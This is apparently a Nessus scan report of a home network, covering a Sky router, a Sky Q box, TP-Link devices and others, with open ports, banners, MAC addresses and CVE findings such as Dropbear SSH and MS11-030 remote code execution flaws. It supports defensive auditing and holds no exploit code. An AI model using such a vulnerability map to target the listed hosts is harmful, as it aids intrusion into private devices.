Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 585 sec
										None								8/26/05		8/27/20

		22964						None		192.168.0.8		tcp		5000		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.8		tcp		8080		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				The service closed the connection without sending any data.
It might be protected by some sort of TCP wrapper.										None								8/19/07		8/18/20

		22964						None		192.168.0.8		tcp		9006		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.8		tcp		9080		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		24260						None		192.168.0.8		tcp		5000		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 404 Not Found


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Content-Length: 0
  Server: AirTunes/211.1
  
Response Body :

										None								1/30/07		11/22/19

		24260						None		192.168.0.8		tcp		9006		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 404 Not Found


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Content-Type: application/json
  Connection: close
  Server: Sky
  Content-Length: 169
  
Response Body :

										None								1/30/07		11/22/19

		24260						None		192.168.0.8		tcp		9080		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Access-Control-Allow-Origin: *
  Cache: no-cache
  Content-Type: application/json
  Connection: close
  Content-Length: 9
  Date: Thu Nov  5 18:15:32 2020
  
Response Body :

status=ok										None								1/30/07		11/22/19

		24260						None		192.168.0.8		tcp		9091		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 426 Upgrade Required


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Server: WebSocket++/0.4.0
  
Response Body :

										None								1/30/07		11/22/19

		25220						None		192.168.0.8		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		35711						None		192.168.0.8		udp		1900		Universal Plug and Play (UPnP) Protocol Detection		The remote device supports UPnP.		The remote device answered an SSDP M-SEARCH request. Therefore, it
supports 'Universal Plug and Play' (UPnP). This protocol provides
automatic configuration and device discovery. It is primarily intended
for home networks. An attacker could potentially leverage this to
discover your network architecture.		Filter access to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play
https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol
http://quimby.gnus.org/internet-drafts/draft-cai-ssdp-v1-03.txt		The device responded to an SSDP M-SEARCH request with the following locations :

    http://192.168.0.8:9080
    http://192.168.0.8:49153/description1.xml
    http://192.168.0.8:49153/description0.xml

And advertises these unique service names :

    uuid:SKUSKYMRU=00000000000000001000000000078677::upnp:rootdevice
    uuid:SKUSKYMRU=00000000000000001000000000078677::urn:schemas-upnp-org:device:mdxdevice:1
    uuid:SKUSKYMRU=00000000000000001000000000078677::urn:mdx-netflix-com:service:target:3
    uuid:52554976-3247-4D52-536B-2047ed1ccf9a::upnp:rootdevice
    uuid:52554976-3247-4D52-536B-2047ed1ccf9a::urn:schemas-nds-com:device:MRSkyRemote:2
    uuid:52554976-3247-4D52-536B-2047ed1ccf9a::urn:schemas-nds-com:service:SkyRemote:1
    uuid:444D5276-3247-4D52-536B-2047ed1ccf9a::upnp:rootdevice
    uuid:444D5276-3247-4D52-536B-2047ed1ccf9a::urn:schemas-nds-com:device:MRSkyControl:2
    uuid:444D5276-3247-4D52-536B-2047ed1ccf9a::urn:schemas-nds-com:service:SkyPlay:2
    uuid:444D5276-3247-4D52-536B-2047ed1ccf9a::urn:schemas-nds-com:service:SkyCM:2
    uuid:444D5276-3247-4D52-536B-2047ed1ccf9a::urn:schemas-nds-com:service:SkyRC:2

										None								2/19/09		9/12/18

		35716						None		192.168.0.8		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

20:47:ED:1C:CF:9A : BSkyB Ltd
										None								2/19/09		5/13/20

		45590						None		192.168.0.8		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE : 

  cpe:/o:linux:linux_kernel:2.6
										None								4/21/10		9/30/20

		70545		CVE-2013-4421		5		Medium		192.168.0.2		tcp		22		Dropbear SSH Server < 2013.59 Multiple Vulnerabilities		The remote SSH service is affected by multiple vulnerabilities.		According to its self-reported banner, the version of Dropbear SSH
running on this port is earlier than 2013.59.  As such, it is
potentially affected by multiple vulnerabilities :

  - A denial of service vulnerability caused by the way the
    'buf_decompress()' function handles compressed files.
    (CVE-2013-4421)

  - User-enumeration is possible due to a timing error when
    authenticating users. (CVE-2013-4434)		Upgrade to the Dropbear SSH 2013.59 or later.		https://matt.ucc.asn.au/dropbear/CHANGES
https://secure.ucc.asn.au/hg/dropbear/rev/0bf76f54de6f
https://secure.ucc.asn.au/hg/dropbear/rev/a625f9e135a4		
  Version source    : SSH-2.0-dropbear_2012.55
  Installed version : 2012.55
  Fixed version     : 2013.59
						3.7				Medium		62958;62993						10/22/13		11/27/19

		54615						None		192.168.0.8		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 65
										None								5/23/11		5/23/11

		70545		CVE-2013-4434		5		Medium		192.168.0.2		tcp		22		Dropbear SSH Server < 2013.59 Multiple Vulnerabilities		The remote SSH service is affected by multiple vulnerabilities.		According to its self-reported banner, the version of Dropbear SSH
running on this port is earlier than 2013.59.  As such, it is
potentially affected by multiple vulnerabilities :

  - A denial of service vulnerability caused by the way the
    'buf_decompress()' function handles compressed files.
    (CVE-2013-4421)

  - User-enumeration is possible due to a timing error when
    authenticating users. (CVE-2013-4434)		Upgrade to the Dropbear SSH 2013.59 or later.		https://matt.ucc.asn.au/dropbear/CHANGES
https://secure.ucc.asn.au/hg/dropbear/rev/0bf76f54de6f
https://secure.ucc.asn.au/hg/dropbear/rev/a625f9e135a4		
  Version source    : SSH-2.0-dropbear_2012.55
  Installed version : 2012.55
  Fixed version     : 2013.59
						3.7				Medium		62958;62993						10/22/13		11/27/19

		57582				6.4		Medium		192.168.0.20		tcp		443		SSL Self-Signed Certificate		The SSL certificate chain for this service ends in an unrecognized
self-signed certificate.		The X.509 certificate chain for this service is not signed by a
recognized certificate authority.  If the remote host is a public host
in production, this nullifies the use of SSL as anyone could establish
a man-in-the-middle attack against the remote host. 

Note that this plugin does not check for certificate chains that end
in a certificate that is not self-signed, but is signed by an
unrecognized certificate authority.		Purchase or generate a proper SSL certificate for this service.				
The following certificate was found at the top of the certificate
chain sent by the remote host, but is self-signed and was not
found in the list of known certificate authorities :

|-Subject : C=CN/CN=TP-Link
										Medium								1/17/12		4/27/20

		57582				6.4		Medium		192.168.0.25		tcp		8009		SSL Self-Signed Certificate		The SSL certificate chain for this service ends in an unrecognized
self-signed certificate.		The X.509 certificate chain for this service is not signed by a
recognized certificate authority.  If the remote host is a public host
in production, this nullifies the use of SSL as anyone could establish
a man-in-the-middle attack against the remote host. 

Note that this plugin does not check for certificate chains that end
in a certificate that is not self-signed, but is signed by an
unrecognized certificate authority.		Purchase or generate a proper SSL certificate for this service.				
The following certificate was found at the top of the certificate
chain sent by the remote host, but is self-signed and was not
found in the list of known certificate authorities :

|-Subject : CN=02396355-86f2-724c-b621-a89625b919e3
										Medium								1/17/12		4/27/20

		57582				6.4		Medium		192.168.0.26		tcp		443		SSL Self-Signed Certificate		The SSL certificate chain for this service ends in an unrecognized
self-signed certificate.		The X.509 certificate chain for this service is not signed by a
recognized certificate authority.  If the remote host is a public host
in production, this nullifies the use of SSL as anyone could establish
a man-in-the-middle attack against the remote host. 

Note that this plugin does not check for certificate chains that end
in a certificate that is not self-signed, but is signed by an
unrecognized certificate authority.		Purchase or generate a proper SSL certificate for this service.				
The following certificate was found at the top of the certificate
chain sent by the remote host, but is self-signed and was not
found in the list of known certificate authorities :

|-Subject : C=CN/CN=TP-Link
										Medium								1/17/12		4/27/20

		50686		CVE-1999-0511		5.8		Medium		192.168.0.27		tcp		0		IP Forwarding Enabled		The remote host has IP forwarding enabled.		The remote host has IP forwarding enabled. An attacker can exploit
this to route packets through the host and potentially bypass some
firewalls / routers / NAC filtering. 

Unless the remote host is a router, it is recommended that you disable
IP forwarding.		On Linux, you can disable IP forwarding by doing :

echo 0 > /proc/sys/net/ipv4/ip_forward

On Windows, set the key 'IPEnableRouter' to 0 under

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters

On Mac OS X, you can disable IP forwarding by executing the command :

sysctl -w net.inet.ip.forwarding=0

For other systems, check with your vendor.														Medium								11/23/10		3/6/19

		57582				6.4		Medium		192.168.0.28		tcp		443		SSL Self-Signed Certificate		The SSL certificate chain for this service ends in an unrecognized
self-signed certificate.		The X.509 certificate chain for this service is not signed by a
recognized certificate authority.  If the remote host is a public host
in production, this nullifies the use of SSL as anyone could establish
a man-in-the-middle attack against the remote host. 

Note that this plugin does not check for certificate chains that end
in a certificate that is not self-signed, but is signed by an
unrecognized certificate authority.		Purchase or generate a proper SSL certificate for this service.				
The following certificate was found at the top of the certificate
chain sent by the remote host, but is self-signed and was not
found in the list of known certificate authorities :

|-Subject : C=CN/CN=TP-Link
										Medium								1/17/12		4/27/20

		53514		CVE-2011-0657		10		Critical		192.168.0.31		udp		5355		MS11-030: Vulnerability in DNS Resolution Could Allow Remote Code Execution (2509553) (remote check)		Arbitrary code can be executed on the remote host through the
installed Windows DNS client.		A flaw in the way the installed Windows DNS client processes Link-
local Multicast Name Resolution (LLMNR) queries can be exploited to
execute arbitrary code in the context of the NetworkService account.

Note that Windows XP and 2003 do not support LLMNR and successful
exploitation on those platforms requires local access and the ability
to run a special application. On Windows Vista, 2008, 7, and 2008 R2,
however, the issue can be exploited remotely.		Microsoft has released a set of patches for Windows XP, 2003, Vista,
2008, 7, and 2008 R2.		https://www.nessus.org/u?361871b1				I				8.3				Critical		47242		IAVA:2011-A-0039-S;MSFT:MS11-030		2509553		4/21/11		8/5/20		TRUE		TRUE

		50686		CVE-1999-0511		5.8		Medium		192.168.0.8		tcp		0		IP Forwarding Enabled		The remote host has IP forwarding enabled.		The remote host has IP forwarding enabled. An attacker can exploit
this to route packets through the host and potentially bypass some
firewalls / routers / NAC filtering. 

Unless the remote host is a router, it is recommended that you disable
IP forwarding.		On Linux, you can disable IP forwarding by doing :

echo 0 > /proc/sys/net/ipv4/ip_forward

On Windows, set the key 'IPEnableRouter' to 0 under

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters

On Mac OS X, you can disable IP forwarding by executing the command :

sysctl -w net.inet.ip.forwarding=0

For other systems, check with your vendor.														Medium								11/23/10		3/6/19

		66334						None		192.168.0.8		tcp		0		Patch Report		The remote host is missing several patches.		The remote host is missing one or more security patches. This plugin
lists the newest version of each patch to install to make sure the
remote host is up-to-date.		Install the patches listed below.				

. You need to take the following action :

[ Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE (64394) ]

+ Action to take : Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a third party library by a different application, contact the vendor of that application for a fix.


										None								7/8/13		10/16/20

		66717						None		192.168.0.8		udp		5353		mDNS Detection (Local Network)		It is possible to obtain information about the remote host.		The remote service understands the Bonjour (also known as ZeroConf or
mDNS) protocol, which allows anyone to uncover information from the
remote host such as its operating system type and exact version, its
hostname, and the list of services it is running. 

This plugin attempts to discover mDNS used by hosts residing on the same
network segment as Nessus.		Filter incoming traffic to UDP port 5353, if desired.				Nessus was able to extract the following information :

  - mDNS hostname       : skyq.local.

  - Advertised services :
    o Service name      : SkyQKitchen._http._tcp.local.
      Port number       : 13579
    o Service name      : SkyQKitchen._airplay._tcp.local.
      Port number       : 5000
    o Service name      : 2047ED1CCF9A@SkyQKitchen._raop._tcp.local.
      Port number       : 5000

										None								5/31/13		5/31/13

		86420						None		192.168.0.8		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 20:47:ED:1C:CF:9A
										None								10/16/15		5/13/20
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10107 None 192.168.0.1 tcp 80HTTP Server Type and Version A web server is running on the remote host.

This plugin attempts to determine the type and the version of the

  remote web server. n/a

The remote web server type is :



sky_router None IAVT:0001-T-0931 04/01/2000 30/10/2020

10107 None 192.168.0.1 tcp 4444HTTP Server Type and Version A web server is running on the remote host.

This plugin attempts to determine the type and the version of the

  remote web server. n/a

The remote web server type is :



apid 1.0 None IAVT:0001-T-0931 04/01/2000 30/10/2020

10107 None 192.168.0.1 tcp 4567HTTP Server Type and Version A web server is running on the remote host.

This plugin attempts to determine the type and the version of the

  remote web server. n/a

The remote web server type is :



apid 1.0 None IAVT:0001-T-0931 04/01/2000 30/10/2020

10107 None 192.168.0.1 tcp 8889HTTP Server Type and Version A web server is running on the remote host.

This plugin attempts to determine the type and the version of the

  remote web server. n/a

The remote web server type is :



webd 1.0 None IAVT:0001-T-0931 04/01/2000 30/10/2020

10107 None 192.168.0.1 tcp 8890HTTP Server Type and Version A web server is running on the remote host.

This plugin attempts to determine the type and the version of the

  remote web server. n/a

The remote web server type is :



webd 1.0 None IAVT:0001-T-0931 04/01/2000 30/10/2020

10114CVE-1999-0524 0None 192.168.0.1 icmp 0ICMP Timestamp Request Remote Date Disclosure It is possible to determine the exact time set on the remote host.

The remote host answers to an ICMP timestamp request.  This allows 

an

attacker to know the date that is set on the targeted machine, which

may assist an unauthenticated, remote attacker in defeating time-

based

authentication protocols.



Timestamps returned from machines running Windows Vista / 7 / 

2008 /

2008 R2 are deliberately incorrect, but usually within 1000 seconds of

the actual system time.

Filter out the ICMP timestamp requests (13), and the outgoing ICMP

timestamp replies (14).

The difference between the local and remote clocks is -2 seconds.



0 None CWE:200 01/08/1999 04/10/2019

10287 None 192.168.0.1 udp 0Traceroute Information It was possible to obtain traceroute information. Makes a traceroute to the remote host. n/a

For your information, here is the traceroute from 192.168.0.35 to 

192.168.0.1 : 

192.168.0.35

192.168.0.1



Hop Count: 1



None 27/11/1999 20/08/2020

10386 None 192.168.0.1 tcp 8889Web Server No 404 Error Code Check The remote web server does not return 404 error codes.

The remote web server is configured such that it does not return '404

Not Found' error codes when a nonexistent file is requested, perhaps

returning instead a site map, search page or authentication page.



Nessus has enabled some counter measures for this.  However, they

might be insufficient.  If a great number of security holes are

produced for this port, they might not all be accurate. n/a



CGI scanning will be disabled for this host because the host responds

to requests for non-existent URLs with HTTP code 302

rather than 404. The requested URL was : 



    http://SkyRouter.Home:8889/rWar5Bek2ELz.html



None 28/04/2000 12/06/2020

10386 None 192.168.0.1 tcp 8890Web Server No 404 Error Code Check The remote web server does not return 404 error codes.

The remote web server is configured such that it does not return '404

Not Found' error codes when a nonexistent file is requested, perhaps

returning instead a site map, search page or authentication page.



Nessus has enabled some counter measures for this.  However, they

might be insufficient.  If a great number of security holes are

produced for this port, they might not all be accurate. n/a



CGI scanning will be disabled for this host because the host responds

to requests for non-existent URLs with HTTP code 302

rather than 404. The requested URL was : 



    https://SkyRouter.Home:8890/rWar5Bek2ELz.html



None 28/04/2000 12/06/2020

10863 None 192.168.0.1 tcp 4567SSL Certificate Information This plugin displays the SSL certificate.

This plugin connects to every SSL-related port and attempts to 

extract and dump the X.509 certificate. n/a

Subject Name: 



Country: US

Organization: Circle Media Inc

Common Name: localhost



Issuer Name: 



Country: US

Organization: Circle Media Inc

Common Name: localhost



Serial Number: 3C E5 6E 7F 



Version: 3



Signature Algorithm: SHA-256 With RSA Encryption



Not Valid Before: Apr 16 04:44:57 2019 GMT

Not Valid After: Apr 11 04:44:57 2039 GMT



Public Key Info: 



Algorithm: RSA Encryption

Key Length: 2048 bits

Public Key: 00 C4 0A 0D EE 51 19 DB 69 E6 FC 2A DB A6 1E A7 7C 5A 56 

35 

            62 0D 7C 97 D3 87 38 FF 46 12 A8 25 FA BE 2C B1 8A D7 4D 81 

            97 1F 2E 1F AD 7B 50 AF CC 2A 50 9B 57 F3 BF 54 7B DE 1B 4B  None 19/05/2008 26/10/2020

10863 None 192.168.0.1 tcp 8890SSL Certificate Information This plugin displays the SSL certificate.

This plugin connects to every SSL-related port and attempts to 

extract and dump the X.509 certificate. n/a

Subject Name: 



Country: US

Organization: Circle Media Inc.

Common Name: Circle002



Issuer Name: 



Country: US

Organization: Circle Media Inc

Common Name: Circle Root CA 1



Serial Number: 02 



Version: 3



Signature Algorithm: SHA-256 With RSA Encryption



Not Valid Before: Sep 08 21:42:16 2016 GMT

Not Valid After: Sep 03 21:42:16 2036 GMT



Public Key Info: 



Algorithm: RSA Encryption

Key Length: 2048 bits

Public Key: 00 BB 38 F5 78 02 3B CF 53 A2 55 69 8A DC F3 91 B9 72 09 

E1 

            E1 91 C0 66 9F 3A 0A CF 66 24 87 33 E3 4A 20 D1 3F A5 BA 05 

            B3 30 61 CF 14 40 60 84 B4 E9 E2 6E 3E B3 69 BA CB 47 E8 8B  None 19/05/2008 26/10/2020

11002 None 192.168.0.1 tcp 53DNS Server Detection A DNS server is listening on the remote host.

The remote service is a Domain Name System (DNS) server, which

provides a mapping between hostnames and IP addresses.

Disable this service if it is not needed or restrict access to

internal hosts only if the service is available externally. https://en.wikipedia.org/wiki/Domain_Name_System None 13/02/2003 16/05/2017

11002 None 192.168.0.1 udp 53DNS Server Detection A DNS server is listening on the remote host.

The remote service is a Domain Name System (DNS) server, which

provides a mapping between hostnames and IP addresses.

Disable this service if it is not needed or restrict access to

internal hosts only if the service is available externally. https://en.wikipedia.org/wiki/Domain_Name_System None 13/02/2003 16/05/2017

11026 None 192.168.0.1 tcp 0Wireless Access Point Detection The remote host is a wireless access point.

Nessus has determined that the remote host is a wireless access point

(AP).



Ensure that proper physical and logical controls are in place for its

use. A misconfigured access point may allow an attacker to gain access

to an internal network without being physically present on the

premises. If the access point is using an 'off-the-shelf'

configuration (such as 40 or 104 bit WEP encryption), the data being

passed through the access point may be vulnerable to hijacking or

sniffing. n/a



Nessus has determined that this device is an access point based on a

phrase found on the server's default web page. That is, Nessus

maintains a list of commonly-used technical phrases which can be

associated with wireless technologies. When Nessus encounters these

phrases during a scan, a determination is made regarding the nature of

the device. In this case, Nessus has determined that the device may

be running a wireless device with an administrative interface enabled. 

This is a very common configuration for Access Points. The exact

phrases which Nessus flagged on were :



  - Wireless

  - Access Point

  - WPA

  - SSID



None 09/06/2002 12/06/2020

11153 None 192.168.0.1 tcp 4545Service Detection (HELP Request) The remote service could be identified.

It was possible to identify the remote service by its banner or by

looking at the error message it sends when it receives a 'HELP'

request. n/a AIX Global ODM (a component from HACMP) is running on this port. None 18/11/2002 26/11/2018

11197CVE-2003-0001 3.3Low 192.168.0.1 icmp 0Multiple Ethernet Driver Frame Padding Information Disclosure (Etherleak) The remote host appears to leak memory in network packets.

The remote host uses a network device driver that pads ethernet 

frames

with data which vary from one packet to another, likely taken from

kernel memory, system memory allocated to the device driver, or a

hardware buffer on its network interface card.



Known as 'Etherleak', this information disclosure vulnerability may

allow an attacker to collect sensitive information from the affected

host provided he is on the same physical subnet as that host. Contact the network device driver's vendor for a fix. http://www.nessus.org/u?719c90b4



Padding observed in one frame :



  0x00:  47 ED 1C CF 98 03 56 CA 5F 03 56 DA B7 00 00 0A    G.....V._.V.....

  0x10:  17                                                 .               

  

Padding observed in another frame :



  0x00:  30 14 01 00 00 0F AC 04 01 00 00 0F AC 04 01 00    0...............

  0x10:  00                                                 .



2.6 Low 6535 14/01/2003 06/03/2019

11219 None 192.168.0.1 tcp 53Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive than TCP (full connect) scans

against broken services, but they might cause problems for less robust

firewalls and also leave unclosed connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 53/tcp was found to be open None 04/02/2009 14/09/2020

11219 None 192.168.0.1 tcp 80Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive than TCP (full connect) scans

against broken services, but they might cause problems for less robust

firewalls and also leave unclosed connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 80/tcp was found to be open None 04/02/2009 14/09/2020

11219 None 192.168.0.1 tcp 4444Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive than TCP (full connect) scans

against broken services, but they might cause problems for less robust

firewalls and also leave unclosed connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 4444/tcp was found to be open None 04/02/2009 14/09/2020

11219 None 192.168.0.1 tcp 4545Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive than TCP (full connect) scans

against broken services, but they might cause problems for less robust

firewalls and also leave unclosed connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 4545/tcp was found to be open None 04/02/2009 14/09/2020

11219 None 192.168.0.1 tcp 4567Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive than TCP (full connect) scans

against broken services, but they might cause problems for less robust

firewalls and also leave unclosed connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 4567/tcp was found to be open None 04/02/2009 14/09/2020

11219 None 192.168.0.1 tcp 5300Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive than TCP (full connect) scans

against broken services, but they might cause problems for less robust

firewalls and also leave unclosed connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 5300/tcp was found to be open None 04/02/2009 14/09/2020

11219 None 192.168.0.1 tcp 5431Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive than TCP (full connect) scans

against broken services, but they might cause problems for less robust

firewalls and also leave unclosed connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 5431/tcp was found to be open None 04/02/2009 14/09/2020

11219 None 192.168.0.1 tcp 8889Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive than TCP (full connect) scans

against broken services, but they might cause problems for less robust

firewalls and also leave unclosed connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 8889/tcp was found to be open None 04/02/2009 14/09/2020

11219 None 192.168.0.1 tcp 8890Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive than TCP (full connect) scans

against broken services, but they might cause problems for less robust

firewalls and also leave unclosed connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 8890/tcp was found to be open None 04/02/2009 14/09/2020

11219 None 192.168.0.1 tcp 31337Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive than TCP (full connect) scans

against broken services, but they might cause problems for less robust

firewalls and also leave unclosed connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 31337/tcp was found to be open None 04/02/2009 14/09/2020

11936 None 192.168.0.1 tcp 0OS Identification It is possible to guess the remote operating system.

Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,

SNMP, etc.), it is possible to guess the name of the remote operating

system in use. It is also possible sometimes to guess the version of

the operating system. n/a



Remote operating system : Sky Hub SR102 1.0

Confidence level : 80

Method : UPnP



 

The remote host is running Sky Hub SR102 1.0 None 09/12/2003 09/03/2020

12053 None 192.168.0.1 tcp 0Host Fully Qualified Domain Name (FQDN) Resolution It was possible to resolve the name of the remote host.

Nessus was able to resolve the fully qualified domain name (FQDN) of

the remote host. n/a



192.168.0.1 resolves as SkyRouter.Home.



None 11/02/2004 14/04/2017

93650CVE-2016-7406 10Critical 192.168.0.2 tcp 22Dropbear SSH Server < 2016.72 Multiple Vulnerabilities

The SSH service running on the remote host is affected by multiple

vulnerabilities.

According to its self-reported version in its banner, Dropbear SSH

running on the remote host is prior to 2016.74. It is, therefore,

affected by the following vulnerabilities :



  - A format string flaw exists due to improper handling of

    string format specifiers (e.g., %s and %x) in usernames

    and host arguments. An unauthenticated, remote attacker

    can exploit this to execute arbitrary code with root

    privileges. (CVE-2016-7406)



  - A flaw exists in dropbearconvert due to improper

    handling of specially crafted OpenSSH key files. An

    unauthenticated, remote attacker can exploit this to

    execute arbitrary code. (CVE-2016-7407)



  - A flaw exists in dbclient when handling the -m or -c

    arguments in scripts. An unauthenticated, remote attacker

    can exploit this, via a specially crafted script, to

    execute arbitrary code. (CVE-2016-7408)



  - A flaw exists in dbclient or dropbear server if they are

    compiled with the DEBUG_TRACE option and then run using

    the -v switch. A local attacker can exploit this to

    disclose process memory. (CVE-2016-7409) Upgrade to Dropbear SSH version 2016.74 or later. https://matt.ucc.asn.au/dropbear/CHANGES



  Version source    : SSH-2.0-dropbear_2012.55

  Installed version : 2012.55

  Fixed version     : 2016.74



9.8 7.4 8.5Critical 92970;92972;92973;92974 22/09/2016 14/11/2019

19506 None 192.168.0.1 tcp 0Nessus Scan Information This plugin displays information about the Nessus scan.

This plugin displays, for each tested host, information about the

scan itself :



  - The version of the plugin set.

  - The type of scanner (Nessus or Nessus Home).

  - The version of the Nessus Engine.

  - The port scanner(s) used.

  - The port range scanned.

  - Whether credentialed or third-party patch management

    checks are possible.

  - Whether the display of superseded patches is enabled

  - The date of the scan.

  - The duration of the scan.

  - The number of hosts scanned in parallel.

  - The number of checks done in parallel. n/a

Information about this scan : 



Nessus version : 8.12.1

Plugin feed version : 202011051454

Scanner edition used : Nessus Home

Scan type : Normal

Scan policy used : Basic Network Scan

Scanner IP : 192.168.0.35

Port scanner(s) : nessus_syn_scanner 

Port range : default

Thorough tests : no

Experimental tests : no

Paranoia level : 1

Report verbosity : 1

Safe checks : yes

Optimize the test : yes

Credentialed checks : no

Patch management checks : None

Display superseded patches : yes (supersedence plugin launched)

CGI scanning : disabled

Web application tests : disabled

Max hosts : 30

Max checks : 4

Recv timeout : 5

Backports : None

Allow post-scan editing: Yes

Scan Start Date : 2020/11/5 13:08 EST

Scan duration : 1452 sec



None 26/08/2005 27/08/2020

21643 None 192.168.0.1 tcp 4567SSL Cipher Suites Supported The remote service encrypts communications using SSL.

This plugin detects which SSL ciphers are supported by the remote

service for encrypting communications. n/a

https://w

ww.opens

sl.org/doc

s/man1.1.

0/apps/cip

hers.html

http://ww

w.nessus.o

rg/u?3a04

0ada



Here is the list of SSL ciphers supported by the remote server :

Each group is reported per SSL Version.



SSL Version : TLSv12

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)



